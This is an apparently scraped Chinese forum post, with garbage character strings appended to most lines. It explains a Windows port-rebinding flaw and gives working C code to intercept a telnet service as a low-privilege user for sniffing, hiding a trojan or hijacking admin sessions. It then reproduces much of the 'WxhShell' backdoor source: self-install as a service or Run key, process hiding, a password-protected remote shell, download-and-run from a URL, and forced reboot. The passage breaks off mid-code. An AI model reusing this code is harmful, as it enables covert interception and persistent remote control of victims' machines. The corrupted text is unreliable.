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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^1jk$$f  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7m9 " 8   
Zt@Z=r:&  
  saddr.sin_family = AF_INET;  m@rSz  
e kQrW%\3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U5/qf8)yO  
1;| LI?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]M,06P>?  
*s)}Bj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :Dl% _l  
49 }{R/:  
  这意味着什么?意味着可以进行如下的攻击: \&}G]  
Ulqh@CE)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :DkAQ-<~  
-NM0LTF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O.k \]'  
rUwE?Ekn/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VY'Q|[  
Xt,X_o2m|]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FN )d1q(~  
en9en=n|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;RN8\re  
Ie'P#e'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S|R|]J|  
 s&*yk p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V`fL%du,3  
i (HByI  
  #include eZF'Ck y  
  #include <9@7,2  
  #include 0^_MN~s(X  
  #include    - G ?%QG`v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K 6pw8  
  int main() l+ T, 2sd  
  { 8?jxDW a  
  WORD wVersionRequested; &v# `t~  
  DWORD ret; t&c&KFK)I&  
  WSADATA wsaData; LXhaD[1Rb  
  BOOL val; (:$9%,x  
  SOCKADDR_IN saddr; Etmo7 8e  
  SOCKADDR_IN scaddr; 2mJ:c  
  int err; w@N{ @tG  
  SOCKET s; R40W'N 1%q  
  SOCKET sc; Xt(! a  
  int caddsize; P"4Mm, C  
  HANDLE mt; r7X D&Y  
  DWORD tid;   :|XCnK0  
  wVersionRequested = MAKEWORD( 2, 2 ); 5~\Kj#PBx  
  err = WSAStartup( wVersionRequested, &wsaData ); d7i#w #  
  if ( err != 0 ) { aG3k4  
  printf("error!WSAStartup failed!\n"); \j:gr>4  
  return -1; \8_V(lU   
  } nGZ \<-  
  saddr.sin_family = AF_INET; oMTY)`me  
   mq`5w)S)\o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z% Z"VoxH  
3bH5C3(u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j6X LyeG7  
  saddr.sin_port = htons(23); 4 ?2g&B\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7&t~R}&|  
  { ~x+Ykq0  
  printf("error!socket failed!\n"); B007x{-L  
  return -1; D%GGu"@GO  
  } XWF7#xM  
  val = TRUE; GEi MmH?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E8;TLk4\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W%zmD Hk~  
  { 9 d] tjT  
  printf("error!setsockopt failed!\n"); +QupM  
  return -1; 6BPAux.]  
  } US]"4=Zm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T:)% P6/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hOSf'mi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5^o3y.J?P  
\vs%U}IrO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Lkp&;+  
  { <!hpfTz*  
  ret=GetLastError(); Ix4jof6(  
  printf("error!bind failed!\n"); 7n<#y;wo  
  return -1; >EeAPO4  
  } xK=J.>h3  
  listen(s,2); jXH0BPa,  
  while(1) |Pj9ZG#  
  { (-#rFO5~l  
  caddsize = sizeof(scaddr); I4CHfs"ar  
  //接受连接请求 tbRE/L<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sMN>wbHwh[  
  if(sc!=INVALID_SOCKET) uJm#{[  
  { t0I>5#*WU  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `L+ ~&M  
  if(mt==NULL) b3P9Yoj-  
  { 1wU=WE(kKZ  
  printf("Thread Creat Failed!\n"); wFn@\3%l`  
  break;  }Olr  
  } ~t$mw,  
  } B>ge, }{  
  CloseHandle(mt); <?nB,U  
  } f>?^uSpWH  
  closesocket(s); #?A]v>I;C  
  WSACleanup(); *EX$v4BX  
  return 0; KuU3DTS85Z  
  }   QR|XV%$  
  DWORD WINAPI ClientThread(LPVOID lpParam) (v|ixa  
  { A> J1B(up  
  SOCKET ss = (SOCKET)lpParam; rO5u~"v]  
  SOCKET sc; @'@s*9Nr  
  unsigned char buf[4096]; ntDRlX  
  SOCKADDR_IN saddr; 9$:QLE+t  
  long num; A8#.1uEgNb  
  DWORD val; ,*q#qW!!  
  DWORD ret; Dl>*L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 d*]Dv,#X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   u'#`yTB6b  
  saddr.sin_family = AF_INET; iLjuE)6-$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `WraOsoY  
  saddr.sin_port = htons(23); `4$4bXrP'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )[e%wPu4e  
  { Y] D7i?3N  
  printf("error!socket failed!\n"); `wP/Zp{Hy  
  return -1; }R7sj  
  } ._8xY$l$  
  val = 100; =}B4I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Usa{J:  
  { Y\+(rC27  
  ret = GetLastError(); :;" aUHU'  
  return -1; Dq0-Kf,^  
  } ~E^yM=:h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +a7EsR  
  { zz7Y/653  
  ret = GetLastError(); (#f m (@T  
  return -1; fcgDU *A%  
  } "R@$Wu53|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N#<zEAB  
  { ak~=[7Nv  
  printf("error!socket connect failed!\n"); gaLEhf^  
  closesocket(sc); zbF:R[)  
  closesocket(ss); zhVa.r A  
  return -1; &CB.*\0  
  } |_hioMVz  
  while(1) CT$& zEIm  
  { w^:V."}-$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VJ~X#Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3p?<iVE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u7<qaOzs?  
  num = recv(ss,buf,4096,0); >?\v@   
  if(num>0) (>!]A6^L~  
  send(sc,buf,num,0); Wx']tFn"  
  else if(num==0) ;~'cITL  
  break; 7yqSt)/U  
  num = recv(sc,buf,4096,0); (<d&BV-"  
  if(num>0) =Do3#Xe2V  
  send(ss,buf,num,0); 2$j Ot}  
  else if(num==0) v&[X&Hu[  
  break; lRa 3v Ng  
  } i-:8TfI,  
  closesocket(ss);  uu WY4j6  
  closesocket(sc); uFm(R/V  
  return 0 ; L5V'Sr  
  } 8xD<A|  
-H ac^4uF  
g~ppPAH  
========================================================== k *G!.  
(dLE<\E  
下边附上一个代码,,WXhSHELL 1Rb XM n  
!BvTJ-e)F  
========================================================== 6 h0U  
epG X.  
#include "stdafx.h" z'\}/k+  
'o)ve(  
#include <stdio.h> OUIUgej  
#include <string.h> sw=JUfAhy  
#include <windows.h> k+7M|t.?4  
#include <winsock2.h> &k_wqV  
#include <winsvc.h> @qO8Jg"Q  
#include <urlmon.h> fzkCI  
U&]p!DV&;  
#pragma comment (lib, "Ws2_32.lib") T$.-{I  
#pragma comment (lib, "urlmon.lib") wEHAkc)Q  
|=^#d\?]j  
#define MAX_USER   100 // 最大客户端连接数 xM'S ;Sg  
#define BUF_SOCK   200 // sock buffer lEYT{  
#define KEY_BUFF   255 // 输入 buffer t6h`WAZV  
N[ Lz 0c?  
#define REBOOT     0   // 重启 Ip7FD9 ^  
#define SHUTDOWN   1   // 关机 VhH]n yi7D  
{xBjEhQm  
#define DEF_PORT   5000 // 监听端口 avxn}*:X.  
U$/Hp#~X  
#define REG_LEN     16   // 注册表键长度 O)RzNfI^`N  
#define SVC_LEN     80   // NT服务名长度 XoxR5arj  
{YKMQI^O/  
// 从dll定义API  wc+N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *a4b`HRT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QIMv9;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xv#j 593  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U@v8H!p^i  
O[hbu![  
// wxhshell配置信息 &TkbnDuYd~  
struct WSCFG { DKVt8/vq  
  int ws_port;         // 监听端口 @Z=|$*9  
  char ws_passstr[REG_LEN]; // 口令 MZP><Je&  
  int ws_autoins;       // 安装标记, 1=yes 0=no H;t8(-F@'  
  char ws_regname[REG_LEN]; // 注册表键名 *liPJ29C[  
  char ws_svcname[REG_LEN]; // 服务名 !NAX6m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _ !^FW%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W$t}3Ru  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u$%#5_k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b%!`fn-;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #c)Ou!Ldb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;`of'9|  
gJ GBD9wC  
}; vs0H^L  
3JE;:2O~P  
// default Wxhshell configuration etK,zEd  
struct WSCFG wscfg={DEF_PORT, NX""?"q  
    "xuhuanlingzhe", dYqDL<se/I  
    1, Tvx8l m '  
    "Wxhshell", 33KPo0g7  
    "Wxhshell", ~Yz/t  
            "WxhShell Service", wCTR-pL^  
    "Wrsky Windows CmdShell Service", K<L%@[gi  
    "Please Input Your Password: ", s^t1PfP(,  
  1, ]o+|jgkt]  
  "http://www.wrsky.com/wxhshell.exe", *T2&$W|_a  
  "Wxhshell.exe" pnA]@FW  
    }; yzNX2u1  
0^lL,rC   
// 消息定义模块 a=B0ytNm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vlN. OQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "A1yqK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W>|b98NPu  
char *msg_ws_ext="\n\rExit."; B*iz+"H  
char *msg_ws_end="\n\rQuit."; >T*g'954xF  
char *msg_ws_boot="\n\rReboot..."; Q|<?$.FN"8  
char *msg_ws_poff="\n\rShutdown..."; (l P4D:X  
char *msg_ws_down="\n\rSave to "; /~rO2]rZ@  
G~tOCp="p  
char *msg_ws_err="\n\rErr!"; &?`&X=Q  
char *msg_ws_ok="\n\rOK!"; T\s#-f[x  
.z>." `  
char ExeFile[MAX_PATH]; }7 z+  
int nUser = 0; R"t$N@ZFb  
HANDLE handles[MAX_USER]; -*q2Y^A^l  
int OsIsNt; Qn3+bF4  
l(#Y8  
SERVICE_STATUS       serviceStatus; RH4n0 =2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >(ww6vk2  
!cq| g  
// 函数声明 #Ii.tTk  
int Install(void); V dOd:w  
int Uninstall(void); m.a1  
int DownloadFile(char *sURL, SOCKET wsh); 2b,TkG8K  
int Boot(int flag); gO%i5  
void HideProc(void); yaYt/?|  
int GetOsVer(void); zwrZ ^  
int Wxhshell(SOCKET wsl); >T^v4A  
void TalkWithClient(void *cs); KdpJ[[Ug/  
int CmdShell(SOCKET sock); wEc5{ b5M  
int StartFromService(void); (*Q|;  
int StartWxhshell(LPSTR lpCmdLine); y]Tn#4 ,/  
1p<?S}zg@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9k^=m)yS'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 64>[pZF8  
/0B ?3&H  
// 数据结构和表定义 7 =*k@9  
SERVICE_TABLE_ENTRY DispatchTable[] = }t-|^mY>  
{ g uWqHVSs  
{wscfg.ws_svcname, NTServiceMain},  +5mkMZ  
{NULL, NULL} R.`J"J0/~  
}; j77}{5@p  
^ED>{UiNI  
// 自我安装 L5uI31  
int Install(void) B "zg85 e  
{ D?F5o^e"h<  
  char svExeFile[MAX_PATH]; O~ 0 1)%  
  HKEY key; &D w~Jq|  
  strcpy(svExeFile,ExeFile); XJ?z{gXJ  
A3pQ?d[  
// 如果是win9x系统,修改注册表设为自启动 <Pt\)"JA  
if(!OsIsNt) { aKtTx~$@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M':.b+xN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6e| 5qKr  
  RegCloseKey(key); ?R:Hj=.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;<<IXXKU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jz0S2&  
  RegCloseKey(key); mXaUWgO  
  return 0; <!>}t a  
    } !|c5@0Wr  
  } -- FtFo  
} {~h\;>  
else { 0^Cx`xdX:  
NmF2E+'  
// 如果是NT以上系统,安装为系统服务 :+!b8[?Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UQPE)G  
if (schSCManager!=0)  m:Abq`C  
{ dtl<  
  SC_HANDLE schService = CreateService <);u]0  
  ( }!Lr!eALr  
  schSCManager, ^ s4|  
  wscfg.ws_svcname, V%=t2+  
  wscfg.ws_svcdisp, 2]ljm] \l  
  SERVICE_ALL_ACCESS, our5k   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _Z2)e*(  
  SERVICE_AUTO_START, a<.@+sj{  
  SERVICE_ERROR_NORMAL, nHjwT5Q+Q  
  svExeFile, ev >9P  
  NULL, sTyGi1  
  NULL, xII!2.  
  NULL, #JucOWxjY  
  NULL, i(HhL&  
  NULL *2;3~8Y  
  ); Y))sk-  
  if (schService!=0) )wd~639U  
  { 4*X$Jle|  
  CloseServiceHandle(schService); 0fU>L^P_?  
  CloseServiceHandle(schSCManager); MsQS{ok+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h%S#+t(Bf  
  strcat(svExeFile,wscfg.ws_svcname); ')cu/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xpwzzO*U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DYK|"@  
  RegCloseKey(key); xE_[ = 7=  
  return 0; 8w' 8n  
    } D(|$6J 0  
  } XZGyhX7  
  CloseServiceHandle(schSCManager); ! +7ve[z  
} =`H( `2  
} OQvJdjST  
$h9!"f[|j  
return 1; |0-L08DW  
} gEu\X|7'  
f *vziC<m  
// 自我卸载 1S:H!h3  
int Uninstall(void) [:qX3"B  
{ 'P#I<?vB  
  HKEY key; [-ecKPx  
bX1ip2X lk  
if(!OsIsNt) { L6.R?4B   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jBbc$|O4SY  
  RegDeleteValue(key,wscfg.ws_regname); a\MJbBXv  
  RegCloseKey(key); f9$q.a*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tw5BvB1  
  RegDeleteValue(key,wscfg.ws_regname); { L5m`-x  
  RegCloseKey(key); m/AN*` V  
  return 0; e|P60cd /  
  } d?n~9_9e  
} vI@8DWs  
} XEI]T~  
else { l?;S>s*\?  
plq\D.C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j3>< J  
if (schSCManager!=0) a=R-F!P)  
{ BJ5#!I%h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QZfnoKz  
  if (schService!=0) J,7\/O(`A  
  { 5cU8GgN`  
  if(DeleteService(schService)!=0) { 53QP~[F8R]  
  CloseServiceHandle(schService); 7Fp2=j  
  CloseServiceHandle(schSCManager); .uP$M(?j  
  return 0; LFC k6 R  
  } OsXQWSkj~  
  CloseServiceHandle(schService); wHmEt ORo  
  } M<nn+vy`  
  CloseServiceHandle(schSCManager); kAoai|m@R  
} sAb|]Q((  
} RjT[y: !  
3]i1M%'i  
return 1; 1X5\VY>S`h  
} `6/7},"9t  
So:89T  
// 从指定url下载文件 yWuq/J:  
int DownloadFile(char *sURL, SOCKET wsh) bpzA ' g>  
{ \3l;PY  
  HRESULT hr; waC%o%fD  
char seps[]= "/"; 5>HI/QG  
char *token; >nxtQ  
char *file; ktCh*R[`  
char myURL[MAX_PATH]; aF:I]]TfK~  
char myFILE[MAX_PATH]; &}]Wbk4:  
S(Pal/-"  
strcpy(myURL,sURL); Q|>y2g!  
  token=strtok(myURL,seps);  7;XdTx  
  while(token!=NULL) (.c?)_G,  
  { G`pI{_-e  
    file=token; k`-L5#`  
  token=strtok(NULL,seps); Gi-tf<  
  } ;23F8M%wH  
mUjA9[@   
GetCurrentDirectory(MAX_PATH,myFILE); l6&R g-  
strcat(myFILE, "\\"); @*oi1_q  
strcat(myFILE, file); */1z=  
  send(wsh,myFILE,strlen(myFILE),0); ukw'$Yt2  
send(wsh,"...",3,0); %63<Iz"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X#J[Nn>  
  if(hr==S_OK) GXAcy OV  
return 0; (HTVSC%=  
else  -x7L8Wj  
return 1; .Ee8s]h5W  
R\<^A~(Gl  
} R}0c O^V  
yCz? V[49  
// 系统电源模块 D@2Tx  
int Boot(int flag) Z#F2<*+Pe  
{ h\1_$ac  
  HANDLE hToken; A%9"7]:   
  TOKEN_PRIVILEGES tkp; 9TF[uC)-2  
(Yx rZ_F'b  
  if(OsIsNt) { ua0k)4|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?znSA >  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9gFC]UVWh  
    tkp.PrivilegeCount = 1; '?-GZ0oM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UZ<!(g.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xQN](OKG  
if(flag==REBOOT) { mFvw s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  bSmRo  
  return 0; >%7iL#3%  
} w_9:gprf  
else { hX;xbl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u~G,=n  
  return 0; 13B[m p4  
} E;h#3 B9  
  } 8(BLS{-"<  
  else { /$B<+;L!#  
if(flag==REBOOT) { vXyaOZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?4xTA  
  return 0; G $?VYC8;  
} 0|d%@  
else { ; LTc4t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4).q+{#k  
  return 0; GXsHc,  
} z7J#1q~:yY  
} YncY_Hu  
Ua( !:5q?  
return 1; NC0x!tJ#7  
} iA=9Lel  
5 J 0  
// win9x进程隐藏模块 Y,?rykRj  
void HideProc(void) 4j/8Otn  
{ _pW\F(+8  
m%m8002  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TC ^EyjD  
  if ( hKernel != NULL ) l^&#fz  
  { " >;},$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rlW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t + Fm?  
    FreeLibrary(hKernel); {V8 v  
  } 2T iUo(MK  
> `u} G1T\  
return; "]`!#5j^WP  
} 7+@:wX\  
Haiuf)a  
// 获取操作系统版本 WG< D+P  
int GetOsVer(void) NfKi,^O  
{ sJ!AI n<  
  OSVERSIONINFO winfo; ->:G+<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "<NQ2Vr]5  
  GetVersionEx(&winfo); YG<?|AS/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Fn$EP:>  
  return 1; YWjw`,EA(  
  else =p:D_b  
  return 0; Id|38   
} rs'~' Y  
Kp8!^os  
// 客户端句柄模块 L<*wzl2Go  
int Wxhshell(SOCKET wsl) sZ7{_}B  
{ nO2-fW:9]  
  SOCKET wsh; 4w\cS&X~C  
  struct sockaddr_in client; A F>!:  
  DWORD myID; \A Y7%>  
UVA|(:  
  while(nUser<MAX_USER) ^.M*pe  
{ %jim] ]<S[  
  int nSize=sizeof(client); +.NopI3:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w SBDJvI  
  if(wsh==INVALID_SOCKET) return 1; aB+Ux< -  
}LN +V~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +t})tDPXw  
if(handles[nUser]==0) 9#xcp/O  
  closesocket(wsh); s -~Tf|  
else FhHcS>]:.  
  nUser++; he;&KzEu  
  } sTU`@}}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -P^ 6b(  
Rku9? zf^  
  return 0;  _p<s!  
} JF IUD{>fp  
ECWn/4Aws  
// 关闭 socket M`-.0  
void CloseIt(SOCKET wsh) ^Bf@ I  
{ #%rXDGDS  
closesocket(wsh); m$Lq#R={Z  
nUser--; i"p)%q~ z  
ExitThread(0); t-)C0<  
} 1D sgU6"  
]'3e#Cqeh  
// 客户端请求句柄 |<t"O  
void TalkWithClient(void *cs) Ph'*s{   
{ Es/\/vF7]D  
G'{$$+U^K  
  SOCKET wsh=(SOCKET)cs; Po#;SG#Ee  
  char pwd[SVC_LEN]; mzLDZ# =b  
  char cmd[KEY_BUFF]; .^6"nnfA#  
char chr[1]; _@3@_GE  
int i,j; 3Sv<Viuo  
N{U``LV  
  while (nUser < MAX_USER) { 5*l~7R  
gNY}`'~hr  
if(wscfg.ws_passstr) { T0J"Wr>WY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *4"s,1?@BG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EbZRU65J}O  
  //ZeroMemory(pwd,KEY_BUFF); 2"*7H S  
      i=0; {{7%z4l  
  while(i<SVC_LEN) { ;cgc\xm>  
03Pa; n  
  // 设置超时 fOs"\Y4  
  fd_set FdRead; }J"}5O2,b  
  struct timeval TimeOut; -`x$a&}  
  FD_ZERO(&FdRead); `OO=^.-u  
  FD_SET(wsh,&FdRead); # Y/ .%ch.  
  TimeOut.tv_sec=8; d~1Nct$:  
  TimeOut.tv_usec=0; ~GZ!;An  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %T4htZa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;gfY_MXnF  
`@eo <6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PYX]ld.E  
  pwd=chr[0]; m&(yx| a4+  
  if(chr[0]==0xd || chr[0]==0xa) { JfS:K'  
  pwd=0; P[6@1  
  break; (jv!q@@2C.  
  } oace!si  
  i++; \,| Xz|?C  
    } jsL\{I^>  
hyqsMkW|  
  // 如果是非法用户,关闭 socket d:jD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mVFz[xI  
} ug*#rpb  
%"Tn=fZIF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a'=C/ s+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k9H7(nS{  
v3SH+Ej4  
while(1) { Mr'P0^^  
ej-x^G?C  
  ZeroMemory(cmd,KEY_BUFF); a-w=LpVM  
}? j>V  
      // 自动支持客户端 telnet标准   C;7?TZ&xw  
  j=0; Y Y4"r\V  
  while(j<KEY_BUFF) { .1R:YNx{/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +mP&B<=H)  
  cmd[j]=chr[0]; .R5[bXxe7  
  if(chr[0]==0xa || chr[0]==0xd) { ? ->:,I=<~  
  cmd[j]=0; vpR^G`/  
  break; ivL}\~L  
  } Itn7Kl  
  j++; y+D 3(Bsn  
    } PAG.],"D  
b=[gK|fu  
  // 下载文件 jM`)N d  
  if(strstr(cmd,"http://")) { u;1/.`NPB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jSa9UD  
  if(DownloadFile(cmd,wsh)) O 1T JJ8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (bEX"U-  
  else v^;-w~?3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WXz'H),R  
  } >s#[dr\ww  
  else { +-_71rJc.  
=@%;6`AVcp  
    switch(cmd[0]) { mEi+Tj zp  
  9[qEJ$--  
  // 帮助 v @zpF)|  
  case '?': { &0B< iO<f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wn;B~  
    break; Tj &PB_v1  
  } }$DLa#\-  
  // 安装 d D6I @N)X  
  case 'i': { fQ>=\*b9x^  
    if(Install()) ]3.Un,F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :eaqUW!Y  
    else Nda,G++5(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gucd]VH  
    break; 9o-fI@9  
    } .Q'/e>0  
  // 卸载 ^/;W;C{4  
  case 'r': { :00 #l]g0q  
    if(Uninstall()) $HjKELoJ<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mKWfRx*UdG  
    else J?/.|Y]e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p^^Ai  
    break; rEI]{?eoF  
    } j.C)KwelBS  
  // 显示 wxhshell 所在路径 `c 3IS5  
  case 'p': { W}+f}/&l  
    char svExeFile[MAX_PATH]; [~&C6pR  
    strcpy(svExeFile,"\n\r"); |12Cg>;j*n  
      strcat(svExeFile,ExeFile); %9.] bd|%F  
        send(wsh,svExeFile,strlen(svExeFile),0); {0(:7IY,  
    break; i!zh9,i>M  
    } iG<rB-"  
  // 重启 RG(m:N  
  case 'b': { + -e8MvP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "BB#[@  
    if(Boot(REBOOT)) CbK&.a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jYwv+EXg  
    else { (W~jr-O^  
    closesocket(wsh); @\gTi;u/x  
    ExitThread(0); p%304oP6  
    } ; n2|pC^  
    break; N*t91 X  
    } ,e"A9ik#  
  // 关机 >:l; W4j  
  case 'd': { LS:3Dtq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MFHPh8P  
